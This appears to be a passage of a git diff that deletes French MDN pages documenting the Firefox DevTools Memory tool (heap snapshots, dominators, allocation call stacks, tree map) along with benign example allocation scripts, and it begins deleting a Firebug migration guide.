  • Strings: listées en tant que "strings"
    • -
  • JavaScript sources: listées en tant que "JSScript"
    • -
  • Internal objects: tels que "js::Shape". Ce type est préfixé de "js::".
    • -
- -

Chaque type occupe une ligne du tableau. Les lignes sont triées par ordre décroissant d'utilisation mémoire. Par exemple dans la capture d'écran ci-dessus, il est possible de voir que les Objects JavaScriptoccupent la plus grande partie de la mémoire. Suivis par les stings.

- -
    -
  • La colone "Somme" affiche le nimbre total d'objets alloués dans chaque catégorie.
    • -
  • La colonne "Octets" affiche le nombre d'octets occupés par les objets de chaque catégorie, et le pourcentage de la taille totale de la heap que cela représente.
    • -
- -
-
Les captures d'écran sur cette page montrent des instantanés capturés grâce à l'exemple "monster"
-
- -

Par exemple, dans la capture d'écran ci-dessus, on peut voir que :

- -
    -
  • Il y a quatre objects Array
    • -
  • Ceux-ci représentent 15% de la heap totale.
    • -
- -

A coté du nom de chaque type, on trouve une icône en forme de trois étoiles en triangle :

- -

- -

Cliquer sur cette icône affichera toutes les instances de ce type. Par exemple cliquer sur l'icône de Array affichera les quatre instances :

- -

- -

Pour chaque instance, on peut voir taille retenue et la taille de l'objet de cette instance. Dans ce cas, il est possible de voir que les trois premiers tableaux ont une taille importante (5% du total de la heap) et une traille retenue encore plus importante (26% du total).

- -

Dans la partie droite, on retrouve un panneau qui affiche simplement une phrase. Sélectionner un noeud affichera chemins de rétention :

- -

- -

{{EmbedYouTube("uLjzrvx_VCg")}}

- -

Call Stack

- -

La pile d'allocation (call stack) affiche exactement ou dans le code sont faites des allocations sur la heap.

- -

Cette option étant gourmande en terme de performances, elle n'est pas activée par défaut. Pour l'activer, il faut cocher la case "Enregistrer les piles d'allocations avant d'allouer la mémoire dans la capture.

- -

Une liste de toutes les fonctions qui ont alloué des objets s'affichera alors. Cette liste est triée par la taille des allocations :

- -


- La structure de ce tri ressemble fortement à celle de l'Arbre d'appel, à ceci près qu'il montre les allocations plutôt que des échantillons de processus. Par exemple, la première ligne ligne affiche que :

- -
    -
  • 4,832,592 octets (93% de l'utilisation totale de la heap), ont été alloués dans une fonction à la ligne 35 du fichier "alloc.js", ou dans des fonctions appelées par cette fonction
    • -
- -

Il est possible d'utiliser l'icône en forme de triangle pour avoir plus de précisions et trouver l'endroit exact d'où l'allocation à été faite.

- -

Il est plus simple d'expliquer ce comportement avec un exemple. Cette page contient contient simplement un script qui génère un grand nombre de nœuds DOM (200 objets HTMLDivElement et 4000 objets HTMLSpanElement) :

- -

Réalisons maintenant une allocation trace. Pour cela, il faut :

- -
    -
  1. Ouvrir l'outil Mémoire
    2. -
  2. Cocher "Enregistrer les piles d'allocations"
    3. -
  3. Charger la page https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html
    4. -
  4. Prendre une capture
    5. -
  5. Choisir la vue "Agrégats"
    6. -
  6. Choisir le regroupement par "Call Stack"
    7. -
- -

{{EmbedYouTube("aZ5Rq9lXD80")}}

- -

Quelque chose comme ceci devrait apparaitre :

- -

- -

Cela révèle que 93% sont allouées par des fonctions appelées depuis "alloc.js", à la ligne 35 (le premier appel à createToolbars()).

- -

Afin de savoir exactement d'où est allouée la mémoire, il est possible de développer la ligne :

- -

- -

C'est dans ce cas que les colonnes "Octets" et "Somme" sont utiles. Elles révèlent en effet la taille et le nombre des allocations faites à ce point précis.

- -

Ainsi dans l'exemple ci-dessus, ile est possible de voir que dans createToolbarButton(), à la ligne 9 de alloc.js, 4002 allocations ont été faites et que cela représente 89% de la heap totale. Il s'agit de l'endroit exact ou les éléments {{HTMLElement("span")}} sont crées.

- -

Les noms de fichier et leur numéro de ligne sont des liens : cliquer dessus ouvrira la ligne en question dans le Débogueur :

- -

{{EmbedYouTube("zlnJcr1IFyY")}}

- -

Inverted Call Stack

- -

La vue par défaut est une vue "top-down" : elle affiche les allocations qui arrivent à un point ou en des points plus loin dans l'arbre. C'est pratique pour avoir une vue d'ensemble des endroits ou le programme consomme beaucoup de mémoire. Cependant cette vue implique de devoir parcourir un long chemin pour trouver l'emplacement exact d'où les allocations sont faites.

- -

L'option "Inverser l'arbre" aide à résoudre ce problème. Cela donne en effet une vue "bottom-up" du programme, affichant les endroits exacts d'où les allocations proviennent, ordonnés par taille d'allocation. L'icône en forme de triangle fait alors un retour au premier niveau de l'arbre.

- -

Voici à quoi ressemble l'arbre après avoir coché l'option "Inverser l'arbre" :

- -

- -

Maintenant, la première ligne affiche directement l'appel createToolbarButton() qui correspond à l'allocation de 89% de la heap de la page.

- -

(no stack available)

- -

Dans l'exemple ci-dessus, il y a une ligne nommée "(no stack available)" qui correspond à 7% de la heap. La présence de cette ligne s'explique par le fait que toute l'utilisation de la heap n'est pas due au script JavaScript.

- -

Exemples d'usage de la heap non alloué par un script :

- -
    -
  • Tous les scripts que la page charge occupent de l'espace dans la heap
    • -
  • Quelques fois, un objet est alloué lorsqu'il n'y a pas de JavaScript sur la stack. Par exemple, les objets DOM {{domxref("Event")}} sont alloués avant que le JavaScript ne soit exécuté et avant que les évènements ne soient appelés.
    • -
- -

Bon nombre de pages web auront une part de "(no stack available)" bien supérieure à 7%.

diff --git a/files/fr/outils/memory/basic_operations/index.html b/files/fr/outils/memory/basic_operations/index.html deleted file mode 100644 index e132baed90..0000000000 --- a/files/fr/outils/memory/basic_operations/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Opérations de base -slug: Outils/Memory/Basic_operations -translation_of: Tools/Memory/Basic_operations ---- -
{{ToolsSidebar}}

Ouvrir l'outil Mémoire

- -

L'outil Mémoire n'est pas activé par défaut. Pour l'activer, il faut ouvrir et cocher la case "Mémoire" dans la catégorie "Outils de développement pas défaut" :

- -

{{EmbedYouTube("qi-0CoCOXwc")}}

- -

Depuis Firefox 50, l'outil mémoire est activé par défaut.

- -

Capturer un instantané

- -

Pour capturer un instantané de la heap il faut cliquer sur le bouton "Capturer un instantané" ou sur l'icône en forme d'appareil photo, en haut à gauche :

- -

- -

L'instantané, occupera une large partie du panneau de droite. Sur la gauche, il y aura une liste des instantanés capturée. Ce panneau inclut le timestamp, la taille et les actions supprimer/enregistrer :

- -

- -

Supprimer un instantané

- -

Pour supprimer un instantané, il suffit de cliquer sur l'icône "X" :

- -

- -

Sauvegarder et charger des instantanés

- -

Fermer l'outil, supprimera tous les instantanés non sauvegardés. Pour sauvegarder un instantané, il suffit de cliquer sur "Enregistrer" :

- -

- -

Il vous sera ensuite demandé un nom et un emplacement. Le fichier sera alors enregistré avec une extension .fxsnapshot

- -

Pour charger un instantané depuis un fichier .fxsnapshot, il faut de cliquer sur le bouton en forme de rectangle avec un flèche pointée vers le haut (avant Firefox le bouton avait le texte "Importer") :

- -

- -

Il suffit ensuite de sélectionner un instantané précédemment enregistré sur votre disque.

- -

Comparer des instantanés

- -

À partir de Firefox 45, il est possible de comparer deux instantanés. Le diff affiche les endroits ou de la mémoire a été allouée, et où de la mémoire a été libéré entre les deux instantanés.

- -

Pour créer une diff, il faut cliquer sur l'icône en forme de diagramme de Venn en haut à gauche (note: avant Firefox 47, l'icône ressemblait à un "+/-") :

- -

- -

Il faut ensuite sélectionner l'instantané qui sert de base de comparaison puis l'instantané à comparer. L'outil affiche alors les différences entre les deux instantanés :

- -

{{EmbedYouTube("3Ow-mdK6b2M")}}

- -
-

Lors d'une comparaison, il n'est pas possible d'utiliser la vue "Dominants" ou "Carte proportionnelle"

-
- -

Enregistrer les piles d'allocations

- -

L'outil Mémoire permet de savoir exactement où dans le code la mémoire est allouée. Cependant, enregistrer ces informations a un cout en performance. Il faut donc activer manuellement l'enregistrement avant de faire les allocations mémoires. Pour cela, il suffit de cocher la case "Enregistrer les pilles d'allocations" :

- -

diff --git a/files/fr/outils/memory/comparing_heap_snapshots/index.html b/files/fr/outils/memory/comparing_heap_snapshots/index.html deleted file mode 100644 index 2524339f8d..0000000000 --- a/files/fr/outils/memory/comparing_heap_snapshots/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Comparer deux captures de la heap -slug: Outils/Memory/Comparing_heap_snapshots -translation_of: Tools/Memory/Basic_operations -translation_of_original: Tools/Memory/Comparing_heap_snapshots ---- -
{{ToolsSidebar}}
-

Cette fonctionnalité est une des nouveautés de Firefox 45.

-
- -

À partir de Firefox 45, il est possible d'afficher les différences entre deux captures. Le diff montre où la mémoire a été allouée et où elle a été libérée entre les deux captures.

- -

Pour créer un diff, il faut cliquer sur le bouton "Comparer les captures" à droite de l'icône en forme d'appareil photo puis sélectionner deux captures à comparer (la première capture fait office de base). Cet outil affiche les différences entre les captures. Il est alors possible d'analyser ces différences avec les mêmes vues que celles d'une capture simple.

- -

{{EmbedYouTube("rbDHVxCzqhU")}}

diff --git a/files/fr/outils/memory/dom_allocation_example/index.html b/files/fr/outils/memory/dom_allocation_example/index.html deleted file mode 100644 index 0f3a4b04d6..0000000000 --- a/files/fr/outils/memory/dom_allocation_example/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Exemple d'allocation DOM -slug: Outils/Memory/DOM_allocation_example -translation_of: Tools/Memory/DOM_allocation_example ---- -
{{ToolsSidebar}}

Cet article décrit une page web très simple qui sera utilisée pour illustrer certaines fonctionnalités de l'outil Mémoire.

- -

Il est possible de visiter le site à l'adresse : https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html.

- -

Cette page contient simplement un script qui crée un grand nombre de noeuds DOM :

- -
var toolbarButtonCount = 20;
-var toolbarCount = 200;
-
-function getRandomInt(min, max) {
-    return Math.floor(Math.random() * (max - min + 1)) + min;
-}
-
-function createToolbarButton() {
-  var toolbarButton = document.createElement("span");
-  toolbarButton.classList.add("toolbarbutton");
-  // empêche Spidermonkey de partager les instances
-  toolbarButton[getRandomInt(0,5000)] = "foo";
-  return toolbarButton;
-}
-
-function createToolbar() {
-  var toolbar = document.createElement("div");
-  // empêche Spidermonkey de partager les instances
-  toolbar[getRandomInt(0,5000)] = "foo";
-  for (var i = 0; i < toolbarButtonCount; i++) {
-    var toolbarButton = createToolbarButton();
-    toolbar.appendChild(toolbarButton);
-  }
-  return toolbar;
-}
-
-function createToolbars() {
-  var container = document.getElementById("container");
-  for (var i = 0; i < toolbarCount; i++) {
-    var toolbar = createToolbar();
-    container.appendChild(toolbar);
-  }
-}
-
-createToolbars();
- -

Voici une représentation en pseudo-code de ce que fait ce code :

- -
createToolbars()
-    -> createToolbar() // appelé 200 fois. Crée un élément DIV à chaque fois
-       -> createToolbarButton() // appelé 20 fois par toolbar, crée un élément SPAN à chaque fois
- -

Ainsi, au total ce code crée 200 objets HTMLDivElement, et 4000 objets HTMLSpanElement.

diff --git a/files/fr/outils/memory/dominators/index.html b/files/fr/outils/memory/dominators/index.html deleted file mode 100644 index 30dee2db22..0000000000 --- a/files/fr/outils/memory/dominators/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Dominants -slug: Outils/Memory/Dominators -translation_of: Tools/Memory/Dominators ---- -
{{ToolsSidebar}}
- -
-

Cet article fournit une introduction aux concepts d'Accessibilité, de taille Objet et de taille Retenue, ainsi que des Dominants, et de comment ses concepts s'appliquent dans des langages à ramasse-miette (garbage-collector) comme le JavaScript.

- -

Ces concepts sont importants pour l'analyse mémoire, car souvent, un objet peut être en lui même petit, mais contenir des références à des objets beaucoup plus gros et cela empêche le ramasse-miette de collecter ces objets et de libérer de la mémoire.

- -

Il est possible de voir les dominants d'une page en utilisant la Vue "Dominants"  dans l'outil Mémoire.

-
- -

Dans un langage comme JavaScript, les programmeurs n'ont généralement pas à se soucier de la gestion de la mémoire. Ils peuvent simplement créer des objets, les utiliser, et lorsque ceux-ci ne sont plus nécessaires, le runtime se charge de faire le nettoyage, et libère la mémoire que les objets utilisaient.

- -

Accessibilité

- -

Dans les implémentations modernes de JavaScript, le runtime décide de quand un objet n'est plus nécessaire en se basant sur l'accessibilité. Dans ce système, la heap est représentée par un ou plusieurs graphes. Chaque noeud dans le graphe représente un objet, et chaque connexion entre les noeuds (edge) représente une référence d'un objet à un autre. Le graphe commence au noeud racine, indiqué dans les diagrammes suivant par un "R" :

- -

- -

Lors du passage du ramasse-miette, le runtime parcourt le graphe à partir de la racine et marque chaque objet qu'il trouve. Tous les objets qui ne sont pas trouvés dans ce parcours, ne sont pas accessibles et peuvent être désalloués.

- -

Donc lorsqu'un objet devient inaccessible (par exemple parce qu'il était référencé par une seule variable locale qui sort du scope actuel) alors tout objet qu'il référence devient également inaccessible à son tour (sauf s’il était référencé par d'autres objets qui sont eux toujours accessibles) :

- -

- -

A l'inverse, cela veut dire que des objets sont gardés en vie tant qu'un autre objet accessible comporte une référence à cet objet.

- -

Taille de l'objet et taille retenue

- -

Tout cela donne naissance à deux façons différentes de considérer la taille d'un objet :

- -
    -
  • taille de l'objet: la taille de l'objet lui-même
    • -
  • taille retenue : la taille de l'objet lui-même ainsi que la raille de tous les objets qui sont gardés en vie grâce à cet objet.
    • -
- -

Souvent, les objets auront une taille d'objet faible, mais une bien plus grande taille retenue, à cause de ses références à d'autres objets. La taille retenue est un concept important dans l'analyse de l'utilisation mémoire, car cela répond à la question "si cet objet cesse d'exister, quelle est la taille de mémoire libérée ?".

- -

Dominants

- -

Un concept lié à cela est le concept de dominants. Un noeud B "domine" le noeud A si tous les chemins depuis la racine jusqu'à A passent par B :

- -

- -

Si un des noeuds dominants du noeud A est libéré, alors le noeud A lui-même devient éligible au ramasse-miette.

- -

Si le noeud B domine le noeud A mais ne domine aucun des dominants de A, alors B est le dominant immédiat de A :

- -

- -

Une subtilité ici est que si un objet A est référencé par deux autres objets B et C, alors aucun de ces deux objets n'est un dominant de A, car il est possible de retirer soit B soit C du graphe et A serait alors toujours référencé par son autre référent. À la place, le dominant immédiat de A est le premier ancêtre commun :
-

- -

Voir Aussi

- -

Les dominants dans la théorie des graphes.

- -

Tracing garbage collection.

diff --git a/files/fr/outils/memory/dominators_view/index.html b/files/fr/outils/memory/dominators_view/index.html deleted file mode 100644 index bfa472bded..0000000000 --- a/files/fr/outils/memory/dominators_view/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Vue "Dominants" -slug: Outils/Memory/Dominators_view -translation_of: Tools/Memory/Dominators_view ---- -
{{ToolsSidebar}}
-

La vue "Dominants" est une des nouveautés de Firefox 46.

-
- -

À partir de Firefox 46, l'outil Mémoire inclut une nouvelle vue nommée "Dominants". Celle-ci est utile pour comprendre la "Taille retenue" des objets d'un site : il s'agit de la taille des objets eux-mêmes ainsi que la taille des objets qu'ils gardent en vie par référence.

- -

Si vous n'êtes pas familier avec la "taille de l'objet", la "taille retenue" et les Dominants, il est recommandé de lire l'article sur les concepts des Dominants.

- -

Interface utilisateur des Dominants

- -

Pour afficher la vue des Dominants, il faut sélectionner "Dominants" dans le menu déroulant "Afficher" :

- -

- -

Cette vue est constituée de deux panneaux:

- -
    -
  • Le panneau de l'arbre des Dominants qui affiche quel sont les noeuds de la capture qui retiennent le plus de mémoire.
    • -
  • Le panneau des Chemins de rétention (depuis Firefox 47) affiche les 5 plus courts chemins de rétention pour un noeud.
    • -
- -

- -

Arbre des Dominants

- -

Ce panneau affiche les objets de la capture qui retiennent le plus de mémoire.

- -

Dans la partie principale de l'UI, la première ligne est nommée "Racines GC". En dessous de cette ligne, il y a une ligne pour :

- -
    -
  • Chaque noeud racine GC. Dans Gecko, il y a plusieurs graph mémoire, et donc plusieurs racines. Il peut y avoir beaucoup de racines (souvent temporaires). Par exemple, les variables allouées sur la stack ont besoin d'être enracinées, les caches internes peuvent eux aussi avoir besoin d'enraciner leurs éléments.
    • -
  • Chaque autre noeud qui est référencé depuis deux racines différentes (vu que dans ce cas, aucune des deux racines ne le domine).
    • -
- -

Pour chacune de ces lignes, seront affichés :

- -
    -
  • La taille retenue du noeud, en octets et en pourcentage total.
    • -
  • La taille de l'objet du noeud en octets et en pourcentage total.
    • -
  • Le nom du noeud et son adresse mémoire.
    • -
- -

Les lignes sont classées par la taille de mémoire retenue. Par exemple :

- -

- -

Dans cette capture d'écran, il est possible de voir qu'il y a cinq linges en dessus de "GC roots". Les deux premiers objets sont "Call" et "Window", et retiennent respectivement 21% et 8% de la mémoire totale de la capture. Il est également possible de voir qu'ils ont une taille (shallow) réduite, donc quasiment toute la mémoire retenue vient d'objets qu'ils dominent.

- -

Juste en dessous de chaque racine GC, tout les noeuds pour lequel cette racine est le dominant immédiat sont affichés et triés par taille retenue.

- -

Par exemple, cliquer sur le premier objet "Window" affichera ceci :

- -

- -

Il est possible de voir que "Window" domine un objet "CSS2Properties", dont la taille retenue est de 2ù de la capture. Encore une fois, la taille de l'objet est faible, quasiment toute sa taille retenue est due aux objets dominés. En cliquant sur l'icone en fore de triangle à coté de la fonction, il est possible de voir ces noeuds.

- -

Il est ainsi possible de se faire rapidement une idée de quels objets retiennent le plus de mémoire dans la capture.

- -

Il est possible d'utiliser Alt + clic pour étendre le graph entier d'un noeud.

- -

Pile d'allocations

- -

Dans la barre d'outils, il y a une liste déroulante : "Nommer selon" :

- -

- -

Par défaut, l'option sélectionnée est "Type". Il est possible de choisir "Call Stack" à la place pour savoir exactement d'ou dans le code les objets sont alloués.

- -
-

Cette option est appelée "Allocation Stack" dans Firefox 46.

-
- -

Pour l'activer, il faut cocher la case "Enregistrer les piles d'allocations" avant de lancer le coder qui alloue les objets. Il faut ensuite prendre une capture, puis sélectionner "Call Stack" dans le menu déroulant "Nommer selon".

- -

Maintenant, le nom du noeud contient le nom de la fonction qui l'a alloué, ainsi que le fichier, la ligne et la position exacte d'ou dans la fonction l'allocation a été faite. Cliquer sur le nom du fichier ouvrira cette position dans le Débogueur.

- -

{{EmbedYouTube("qTF5wCSD124")}}

- -
-

Parfois, une ligne nommée "(no stack available)" est présente. Les piles d'allocations ne sont actuellement enregistrées que pour les objets, pas pour les tableaux, les strings ou les structures internes.

-
- -

Chemins de rétention

- -
Ce panneau est une des nouveautés de Firefox 47.
- -

Ce panneau affiche, pour un noeud sélectionné les 5 plus courts chemins depuis ce noeud jusqu'a une racine GC. Cela permet de voir tous les noeuds qui empêchent ce noeud d'être détruit par le garbage collector (ramasse-miette en bon français). Si un objet est soupçonné de cause une fuite mémoire, ce panneau affichera les objets qui réfrènent l'objet soupçonné.

- -

Pour voir le chemin de rétention, il suffit de sélectionner un noeud dans le panneau de l'arbre des Dominants :

- -

- -

Ici, un objet a été sélectionné et l'on peut voir un unique chemin jusqu'a la racine GC.

- -

La racine GC Window contient une référence à un objet HTMLDivElement. Cet objet contient lui une référence à un Object, et ainsi de suite. Il est possible de retracer le chemin juste en regardant le panneau de l'arbre des Dominants. Si une seule de ces références venait à être supprimée, les objets en dessous seraient détruits par le garbage collector.

- -

Chaque connexion dans le graph est annoté avec le nom de la variable qui référence l'objet.

- -

Parfois, il y a plus d'un seul chemin de rétention :

- -

- -

Ici, il y a deux chemins depuis le noeud DocumentPrototype vers la racine GC. Si seulement l'un des des deux venait à être supprimé, le noeud ne serait pas détruit par le garbage collector, puisqu'il serait toujours retenu par l'autre chemin.

- -

Exemple

- -

Pour tester l'outil, il est plus simple d'utiliser un exemple

- -


- Nous utiliserons l'exemple d'allocation de monstres. Cet exemple crée trois tableaux chacun contenant 5000 monstres, chaque monstre possède un nom généré aléatoirement.
-  

- -

Prendre une capture

- -

Pour voir à quoi cela ressemble avec la vue "Dominants", il faut :

- -
    -
  • Charger la page
    • -
  • Activer l'outil Mémoire dans les Options, s’il n'est pas encore activé.
    • -
  • Ouvir l'outil Mémoire
    • -
  • Cocher la case " Enregistrer les piles d'allocations"
    • -
  • Appuyer sur le bouton "Make monsters!"
    • -
  • Prendre une capture
    • -
  • Passer à la vue "Dominants"
    • -
- -

{{EmbedYouTube("HiWnfMoMs2c")}}

- -

Analyse de l'arbre des dominants

- -

Les trois tableaux seront les trois premières racines GC, chacun retenant à peu près 23% de la mémoire totale de la capture :

- -

- -

Étendre un tableau affichera les objets (monstres) qu'il contient. Chaque monstre à une taille réduite de 160 octets. Cette taille inclut les variables int "eye" et "tentacle-count". Chaque monstre à une taille retenue plus grande, car ils retiennent la string utilisée pour stocker le nom du monstre :

- -

- -

Tout cela se rapproche précisément du graph mémoire attendu. Une chose curieuse cependant, où est passé l'objet qui contient ces trois tableaux ? En regardant le chemin de rétention pour un des tableaux, il est possible de le voir :

- -

- -

Ici, il est possible de voir l'objet retenant le tableau; et même qu'il s'agit du tableau de monstres friendly. Dans la capture d'écran ci-dessus, ce n'est pas visible, cependant ce tableau est aussi enraciné directement à la racine GC. Donc si l'objet arrête de référencer le tableau, celui-ci ne serait toujours pas éligible au garbage collector.

- -

Cela veut dire que l'objet ne domine pas le tableau et donc n'est pas affiché dans l'arbre des Dominants. À voir également,  l'article sur le concept des Dominants.

- -

Utiliser la vue Call Stack

- -

Enfin, il est possible de passer à la vue "Call Stack", afin de voir quels objets sont alloués et de se rendre à ce point dans le Débogueur :

- -

{{EmbedYouTube("qTF5wCSD124")}}

diff --git a/files/fr/outils/memory/index.html b/files/fr/outils/memory/index.html deleted file mode 100644 index 017e5b69c5..0000000000 --- a/files/fr/outils/memory/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Mémoire -slug: Outils/Memory -tags: - - DevTools - - Firefox - - Mozilla - - Tools - - outils de développement -translation_of: Tools/Memory ---- -
{{ToolsSidebar}}

L'outil Mémoire permet de prendre une capture de l'état actuel de la heap de la mémoire. Il fournit plusieurs manières de visualiser la heap. Cela permet de voir la taille mémoire que prennent les objets et les endroits exacts du code d'où la mémoire est allouée.

- -

{{EmbedYouTube("DJLoq5E5ww0")}}

- -
-

La base

- -
- -
- -
-

Analyser les captures

- -
-

La vue "carte proportionnelle" est une nouveauté de Firefox 48, la vue "Dominants" est une nouveauté de Firefox 46.

-
- -

Une fois qu'une capture est prise, il y a deux vues principales que l'outil fournit :

- - - -

Si l'option "Enregistrer les piles d'allocations" est cochée, les deux vues affichent d'où exactement dans le code les allocations sont originaires.

- -

Enfin, il est possible de comparer deux captures, et d'analyser le résultat de la différence.

- -
-

Concepts

- -
- -
- -
-

Pages d'exemples

- -

Exemples utilisés dans la documentation de l'outil Mémoire :

- -
- -
diff --git a/files/fr/outils/memory/monster_example/index.html b/files/fr/outils/memory/monster_example/index.html deleted file mode 100644 index 48357b8d8b..0000000000 --- a/files/fr/outils/memory/monster_example/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Exemple d'allocation de monstres -slug: Outils/Memory/Monster_example -translation_of: Tools/Memory/Monster_example ---- -
{{ToolsSidebar}}

Cet article décrit une page web très simple que nous utilisons pour illustrer certaines fonctionnalités de l'outil Mémoire.

- -

Il est possible de l'essayer sur le site : https://mdn.github.io/performance-scenarios/js-allocs/alloc.html. Voici le code :

- -
var MONSTER_COUNT = 5000;
-var MIN_NAME_LENGTH = 2;
-var MAX_NAME_LENGTH = 48;
-
-function Monster() {
-
-  function randomInt(min, max) {
-      return Math.floor(Math.random() * (max - min + 1)) + min;
-    }
-
-  function randomName() {
-    var chars = "abcdefghijklmnopqrstuvwxyz";
-    var nameLength = randomInt(MIN_NAME_LENGTH, MAX_NAME_LENGTH);
-    var name = "";
-    for (var j = 0; j &lt; nameLength; j++) {
-      name += chars[randomInt(0, chars.length-1)];
-    }
-    return name;
-  }
-
-  this.name = randomName();
-  this.eyeCount = randomInt(0, 25);
-  this.tentacleCount = randomInt(0, 250);
-}
-
-function makeMonsters() {
-  var monsters = {
-    "friendly": [],
-    "fierce": [],
-    "undecided": []
-  };
-
-  for (var i = 0; i &lt; MONSTER_COUNT; i++) {
-    monsters.friendly.push(new Monster());
-  }
-
-  for (var i = 0; i &lt; MONSTER_COUNT; i++) {
-    monsters.fierce.push(new Monster());
-  }
-
-  for (var i = 0; i &lt; MONSTER_COUNT; i++) {
-    monsters.undecided.push(new Monster());
-  }
-
-  console.log(monsters);
-}
-
-var makeMonstersButton = document.getElementById("make-monsters");
-makeMonstersButton.addEventListener("click", makeMonsters);
- -

Cette page contient un bouton : Lorsque celui-ci est activé, le code crée des monstres plus précisément :

- -
    -
  • Le code crée un objet avec trois propriétés, chacune étant un tableau : -
      -
    • Un pour les monstres "méchants" (fierce).
      • -
    • Un pour les monstres "gentils" (friendly).
      • -
    • UIn pour les monstres qui n'ont pas encore décidé (undecided).
      • -
    -
    • -
  • Pour chaque tableau, le code crée 5000 monstres générés aléatoirement. Chaque monstre a : -
      -
    • Une chaine de caractères, pour le nom du monstre.
      • -
    • Un nombre représentant le nombre d'yeux qu'il possède.
      • -
    • Un nombre représentant le nombre de tentacules qu'il possède.
      • -
    -
    • -
- -

Ainsi, la structure de la mémoire allouée sur la heap JavaScript est un objet contenant trois tableaux contenant chacun 5000 objets (les monstres) chaque objet contient une string et deux int :

- -

diff --git a/files/fr/outils/memory/open_the_memory_tool/index.html b/files/fr/outils/memory/open_the_memory_tool/index.html deleted file mode 100644 index 2c851f8ce6..0000000000 --- a/files/fr/outils/memory/open_the_memory_tool/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Ouvrir l'outil Mémoire -slug: Outils/Memory/Open_the_Memory_tool -translation_of: Tools/Memory/Basic_operations -translation_of_original: Tools/Memory/Open_the_Memory_tool ---- -
{{ToolsSidebar}}

Actuellement, l'outil Mémoire n'est pas activé par défaut, pour l'activer, il faut ouvrir les options des outils des développements (F12 puis cliquer sur l'icône en forme d'engrenage en haut à droite) et cocher l'option "Mémoire" dans la catégorie "Outils de développement par défaut" :

- -

{{EmbedYouTube("SbpiMD4QjjY")}}

diff --git a/files/fr/outils/memory/take_a_heap_snapshot/index.html b/files/fr/outils/memory/take_a_heap_snapshot/index.html deleted file mode 100644 index ac0d2d630f..0000000000 --- a/files/fr/outils/memory/take_a_heap_snapshot/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Capturer un instantané -slug: Outils/Memory/Take_a_heap_snapshot -translation_of: Tools/Memory/Basic_operations -translation_of_original: Tools/Memory/Take_a_heap_snapshot ---- -
{{ToolsSidebar}}

Pour prendre une capture de la heap, il faut cliquer sur le bouton "Capturer un instantané" ou cliquer sur l'icône en forme d'appareil photo en haut à gauche :

- -

{{EmbedYouTube("XbHyxrjRDis")}}

diff --git a/files/fr/outils/memory/tree_map_view/index.html b/files/fr/outils/memory/tree_map_view/index.html deleted file mode 100644 index a009e59a7a..0000000000 --- a/files/fr/outils/memory/tree_map_view/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Vue carte proportionnelle -slug: Outils/Memory/Tree_map_view -translation_of: Tools/Memory/Tree_map_view ---- -
{{ToolsSidebar}}
-

Cette vue est une des nouveautés de Firefox 48.

-
- -

La vue carte proportionnelle fournit une représentation visuelle d'une capture instantané de la mémoire. Cela aide à avoir rapidement une idée de quels objets occupent le plus de mémoire.

- -

Une carte affiche :  "Une représentation de données hiérarchiques dans un espace limité" sous la forme de rectangles imbriqués. La taille de ces rectangles correspond à un aspect quantitatif des données (plus c'est gros, plus le rectangle l'est).

- -

Pour les cartes affichées dans l'outil Mémoire, la heap (le tas) est divisé en quatre grandes catégories :

- -
    -
  • objects: Les objets JavaScript et DOM, tels que Function, Object, ou Array, et les types DOM tels que Window et HTMLDivElement.
    • -
  • scripts: Les sources JavaScript chargés par la page.
    • -
  • strings
    • -
  • other: Cela inclut les objets internes de SpiderMonkey.
    • -
- -

Chaque catégorie, est représentée dans un rectangle, et la taille de ce rectangle correspond à la portion de la heap occupée par les éléments de cette catégorie. Cela signifie qu'il est facile d'avoir rapidement une idée de ce qui prend le plus de place mémoire.

- -

A l’intérieur des grandes catégories :

- -
    -
  • objects est ensuite divisé par type d'objet.
    • -
  • scripts est ensuite divisé par origine de script. Cela inclut un rectangle séparé pour le code qui n'a put être associé à une origine, tel que le code optimisé pour le JIT.
    • -
  • other est ensuite divisé selon le type d'objet.
    • -
- -

Voici quelques captures d'exemple, tel qu'elles apparaissent dans la vue carte proportionnelle :

- -

- -

Cette carte provient de l'exemple d'allocation DOM, qui crée simplement un grand nombre de nœuds DOM. (200 objets HTMLDivElement et 4000 objets HTMLSpanElement). Il est possible de voir que quasiment tout l'espace occupé dans la heap l'est par les objets HTMLSpanElement crées.

- -

- -

Cette carte vient de l'exemple allocation de monstres, qui représente trois tableaux contenant chacun 5000 monstres. Chaque monstre possède un nom aléatoire. Il est possible de voir que la heap est occupée principalement par les strings utilisés pour le nom des monstres, ainsi que par les objets utilisé pour contenir les autres attributs des monstres.

- -

- -

Cette carte provient de http://www.bbc.com/, et est probablement plus représentative de la vie réelle que les exemples. Il est possible de voir qu'une partie beaucoup plus importante de la heap est occupée par les scripts qui sont chargés depuis un grand nombre d'origines.

diff --git a/files/fr/outils/migrating_from_firebug/index.html b/files/fr/outils/migrating_from_firebug/index.html deleted file mode 100644 index 5191e43e8e..0000000000 --- a/files/fr/outils/migrating_from_firebug/index.html +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: Migrating from Firebug -slug: Outils/Migrating_from_Firebug -translation_of: Tools/Migrating_from_Firebug ---- -
{{ToolsSidebar}}
- -

Pendant la migration de Firebug vers les outils de développement de Firefox, vous vous demanderez certainement ou sont vos fonctionnalités adorés. Et bien, cette liste est faite pour vous.

- -
-
-
 
- -
-

- -

Pour avoir la dernière version des outils de développement, il y a : Firefox Developer Edition

- -

Télécharger Firefox Developer Edition

-
- -
 
-
- -
-

Général

- -

Activation

- -

L'activation de Firebug est basé sur des URL respectant la "same origin policy". Cela signifie que si vous ouvrez  une page de la même origine dans un onglet  différent, Firefbug s'ouvre automatiquement. Et lorsque une page d'une origine différente dans le même onglet, il se ferme automatiquement. L'activation des devtools sont eux basé sur les onglets. Par exemple, si vous ouvrez les devtools dans onglet, ils restent ouvert même si vous naviguez vers d'autres sites. Lorsque vous ouvrez un nouvel onglet, les devtools se ferment.

- -

Ouvrir les outils
